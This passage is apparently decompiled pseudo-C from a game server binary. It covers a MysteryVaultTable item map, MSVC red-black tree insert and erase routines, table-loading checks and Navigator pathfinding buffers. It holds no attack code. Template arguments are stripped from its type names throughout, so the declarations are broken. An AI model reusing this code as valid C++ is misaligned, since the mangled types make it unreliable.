i->_Left; operator delete(v2); } } //----- (00547710) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( v3->_Myval.first >= itemid ) { v2 = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (00547750) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( itemid >= v3->_Myval.first ) { v3 = v3->_Right; } else { v2 = v3; v3 = v3->_Left; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (00547790) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,1> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,1> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00547940) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where) { std::_Tree,std::allocator >,1> > *v3; // ebp@1 std::_Tree,std::allocator >,1> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,1> >::iterator v5; // edi@5 std::_Tree,std::allocator >,1> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,1> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,1> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,1> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,1> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,1> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00547C00) -------------------------------------------------------- std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val) { std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v4; // esi@1 const unsigned __int16 v5; // di@2 int v6; // ecx@7 std::pair,std::allocator >,1> >::iterator,bool> *v7; // eax@7 char _Addleft; // [sp+8h] [bp-4h]@1 v3 = this->_Myhead->_Parent; v4 = this->_Myhead; _Addleft = 1; if ( !v3->_Isnil ) { v5 = _Val->first; do { v4 = v3; _Addleft = v5 < v3->_Myval.first; if ( v5 >= v3->_Myval.first ) v3 = v3->_Right; else v3 = v3->_Left; } while ( !v3->_Isnil ); } v6 = *(_DWORD *)&std::_Tree_std::allocator>_1>>::_Insert( this, (std::_Tree,std::allocator >,1> >::iterator *)&_Val, _Addleft, v4, _Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v7 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; result->second = 1; return v7; } //----- (00547C70) -------------------------------------------------------- int std::_Tree_std::allocator>_1>>::erase(...) { std::_Tree,std::allocator >,1> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,1> >::iterator v5; // esi@1 std::_Tree,std::allocator >,1> > *v6; // edi@1 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,1> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,1> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,1> >::iterator j; // eax@7 std::_Tree,std::allocator >,1> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,1> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,1> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_1>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_1>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00547D30) -------------------------------------------------------- bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this) { unsigned int i; // ebx@1 int v2; // eax@2 void *v3; // esi@4 unsigned __int16 v4; // di@4 SkillDataBox::SkillDataIndex *v5; // eax@5 unsigned __int16 v6; // ax@6 std::pair _Val; // [sp+10h] [bp-10h]@5 std::pair,std::allocator >,1> >::iterator,bool> result; // [sp+18h] [bp-8h]@5 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Group ItemId :", (const char *)v3); return 0; } v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4, &ui_mysterybolt, v5); _Val.first = v4; _Val.second = (MysteryVaultServer *)v3; if ( *(std::_Tree_nod,std::allocator >,1> >::_Node **)&std::_Tree_std::allocator>_1>>::insert(&MysteryVaultTable::sm_ItemLists, &result, &_Val)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] == MysteryVaultTable::sm_ItemLists._Myhead ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() InSert Fail :", (const char *)v3); return 0; } v6 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3 + 36); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Make ItemId :", (const char *)v3 + 36); return 0; } if ( ItemDataBox::operator__(&itemdatabox, v6)->data->MaxLot < *((_BYTE *)v3 + 68) ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() Maxlot Over :", (const char *)v3 + 36); return 0; } } return 1; } // 1250D668: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (00547E70) -------------------------------------------------------- void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this) { std::multimap,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,1> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,1> >::iterator)this; v1 = this; std::_Tree_std::allocator>_1>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00547EA0) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this) { this->np_RealY = 0; this->np_RealX = 0; this->np_IsDeleted = 0; } //----- (00547EB0) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y) { this->np_RealX = x; this->np_RealY = y; this->np_IsDeleted = 0; } //----- (00547ED0) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this) { operator delete(this->mn_CellBuffer.pfb_Buffer); } //----- (00547EE0) -------------------------------------------------------- void __cdecl std::fill(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Val) { KQContribute::PlayerContribute *i; // eax@1 for ( i = _First; i != _Last; ++i ) { i->pc_ChrRegNum = _Val->pc_ChrRegNum; i->pc_MobKillNumber = _Val->pc_MobKillNumber; } } //----- (00547F10) -------------------------------------------------------- Navigator::NaviPoint *__cdecl std::_Copy_opt(Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last, Navigator::NaviPoint *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { Navigator::NaviPoint *v4; // ecx@1 Navigator::NaviPoint *result; // eax@1 Navigator::NaviPoint *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; *(_DWORD *)&v6->np_IsDeleted = v7 ) { v6 = result; result->np_RealX = v4->np_RealX; result->np_RealY = v4->np_RealY; v7 = *(_DWORD *)&v4->np_IsDeleted; ++v4; ++result; } return result; } //----- (00547F50) -------------------------------------------------------- void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // ecx@1 int v4; // edx@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::PathFindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->pfb_BufferSize = buffersize; v2->pfb_Buffer = (Navigator::PathFindCell *)operator new__((2 * buffersize + 1) * (40 * buffersize + 20)); v3 = 0; if ( (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) > 0 ) { v4 = 0; do { v2->pfb_Buffer[v4].pfc_EmptyFlag = -1; ++v3; ++v4; } while ( v3 < (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); } //----- (00548040) -------------------------------------------------------- Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, Navigator::UnitPoint pnt) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // eax@1 int v4; // edx@5 Navigator::PathFindCell *v5; // eax@5 Navigator::PathFindCell *v6; // esi@5 Navigator::PathFindCell *result; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::operator ()"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pfb_BufferSize; if ( pnt.up_X > v3 || pnt.up_X < -v3 || pnt.up_Y > v3 || pnt.up_Y < -v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = 0; } else { v4 = 5 * (v3 + pnt.up_Y + (v3 + pnt.up_X) * (2 * v3 + 1)); v5 = v2->pfb_Buffer; --funcallanalizer.fca_stackpoint; v6 = &v5[4 * v4 / 0x14u]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::operator ()"); result = v6; } return result; } //----- (00548130) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize) { int v3; // edi@1 Navigator::MapNavigator *v4; // ebp@1 int v5; // esi@1 int v6; // ebx@1 Navigator::PathFindCell *v7; // eax@3 int buffersizea; // [sp+24h] [bp+4h]@1 v3 = buffersize; v4 = this; Navigator::PathFindBuffer::PathFindBuffer(&this->mn_CellBuffer, buffersize); v5 = -buffersize; v6 = -buffersize; v4->mn_EmptyFlag = 0; buffersizea = -buffersize; if ( -v3 > v3 ) { v4->mn_StepSize = stepsize; } else { do { if ( v5 <= v3 ) { do { v7 = Navigator::PathFindBuffer::operator__(&v4->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v5++, v6)); v7->pfc_EmptyFlag = v4->mn_EmptyFlag; } while ( v5 <= v3 ); v5 = buffersizea; } ++v6; } while ( v6 <= v3 ); v4->mn_StepSize = stepsize; } } //----- (005481D0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty) { int *v4; // esi@1 unsigned int *v5; // edi@1 int v6; // ebp@1 Navigator::VirtualMap *v7; // ebx@1 unsigned int v8; // eax@1 int v9; // eax@3 int v10; // ebp@6 bool v11; // sf@11 unsigned __int8 v12; // of@11 unsigned int ox; // [sp+10h] [bp-20h]@1 int v15; // [sp+14h] [bp-1Ch]@4 int oy; // [sp+18h] [bp-18h]@1 unsigned int i; // [sp+1Ch] [bp-14h]@1 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v19; // [sp+2Ch] [bp-4h]@1 int vma; // [sp+34h] [bp+4h]@3 int startxa; // [sp+38h] [bp+8h]@1 signed int startya; // [sp+3Ch] [bp+Ch]@1 _.fe_FunctionCode = "Navigator::MapNavigator::mn_ExitFromBlock"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_ExitFromBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int *)startx; v5 = starty; v6 = *starty; v7 = vm; ox = *startx; v8 = *startx - *starty; v19 = 0; oy = v6; startya = 1; startxa = v6 + 1; for ( i = v8; ; v8 = i ) { v9 = startxa + v8; *v4 = v9; *v5 = v6; vma = v9; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6) || (*v4 = ox - startya, v15 = ox - startya, *v5 = v6, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6)) || (*v4 = ox, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (v10 = v6 - startya, *v4 = ox, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) || (*v4 = vma, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = v15, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = vma, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 1; } *v4 = v15; *v5 = v10; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10) ) break; v12 = __OFSUB__(startya + 1, 50); v11 = startya++ - 49 < 0; ++startxa; if ( !(v11 ^ v12) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 0; } v6 = oy; } v19 = -1; 